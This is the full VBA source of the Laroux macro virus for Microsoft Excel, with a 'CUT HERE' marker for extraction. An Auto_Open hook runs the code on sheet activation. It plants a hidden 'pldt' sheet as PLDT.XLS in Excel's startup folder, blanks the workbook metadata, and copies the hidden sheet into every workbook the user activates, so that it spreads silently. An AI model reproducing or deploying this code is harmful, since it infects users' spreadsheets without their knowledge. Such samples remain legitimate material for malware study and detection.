LAROUX.BAS

laroux macro virus for microsoft excel

----------------------- CUT HERE ---------------------------------

Sub Auto_Open()

	Application.OnSheetActivate = "check_files"

End Sub


Sub check_files()

	c$ = Application.StartupPath
	m$ = Dir(c$ & "\" & "PLDT.XLS")
	If m$ = "PLDT.XLS" Then p = 1 Else p = 0
	If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
	whichfile = p + w * 10

Select Case whichfile
	Case 10
	Application.ScreenUpdating = False
	n4$ = ActiveWorkbook.Name

	Sheets("pldt").Visible = True
	Sheets("pldt").Select
	Sheets("pldt").Copy

	With ActiveWorkbook
		.Title = ""
		.Subject = ""
		.Author = ""
		.Keywords = ""
		.Comments = ""
	End With

	newname$ = ActiveWorkbook.Name

	c4$ = CurDir()
	ChDir Application.StartupPath
	ActiveWindow.Visible = False
	Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
	, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
	False, CreateBackup:=False

	ChDir c4$
	Workbooks(n4$).Sheets("pldt").Visible = False
	Application.OnSheetActivate = ""
	Application.ScreenUpdating = True
	Application.OnSheetActivate = "PLDT.XLS!check_files"

	Case 1
	Application.ScreenUpdating = False
	n4$ = ActiveWorkbook.Name
	p4$ = ActiveWorkbook.Path
	s$ = Workbooks(n4$).Sheets(1).Name

	If s$ <> "pldt" Then
		Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
		Workbooks(n4$).Sheets("pldt").Visible = False
	Else
	End If

	Application.OnSheetActivate = ""
	Application.ScreenUpdating = True
	Application.OnSheetActivate = "PLDT.XLS!check_files"

	Case Else

End Select
End Sub